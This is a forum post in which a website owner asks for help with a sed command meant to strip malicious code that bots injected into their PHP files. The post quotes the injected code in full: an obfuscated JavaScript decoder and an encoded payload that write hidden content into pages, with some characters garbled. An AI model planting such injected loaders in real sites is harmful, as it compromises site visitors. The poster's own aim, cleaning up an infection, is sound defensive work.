Hello. I have a problem very similar to this one in this thread. Some robots spamed my website files with similar strings as described. The script works, but if I change the string to this below it doesnt:
sed 's_<?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""),y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e){x0=e;};if(x0==''){y4="";u1=oc(u1);oe=u9(w4,u1);while(oe!=''){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='�'){u1++;x0=w4.substr(u1,1);while(x0!='�'){wf+=x0;u1++;x0=w4.substr(u1,1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);document.write(String.fromCharCode(wf));continue;}p3=(x0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharCode(o2));}}e590206b977("0d","7374Xebn","502�14��26�","401","�173��1","36��18","7","�4","1","7","�1","87�","�","181�","396�1","33��","�","�","ӵ157��146�","�146","���","�1","4","4��3963","99","�","","","438","","�","0","�","�1","8","7��","18","8","�3","2","1","~","�","12","9��1","34�|","3","7","7","�12","7��","185","�","�19","0�~�179","��","1","83��","1","85","�","348r","eUS","33","3","","{mh","x","433","�18","4��168�4","9","2","�","8","�454","3","3","9","q","4","72","","�","�3�","�478","4","63�8��","21��24�3","4","2","�145��1","46","�","30","9~I","436","","�","173","�","33","8","Y411","�14","8�","�1","76�","�17","4�","�161�","�","1","87�","37","0","�1","43��","15","5�","�","138��","150��14","2��13","5�");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}<\/script>'; ?>_ _' "$y" >temp
The error returned is:
line 3: syntax error near unexpected token `('
I assume the problem is with the the character '. Am I right? Any ideas how I can fix this?
Thanks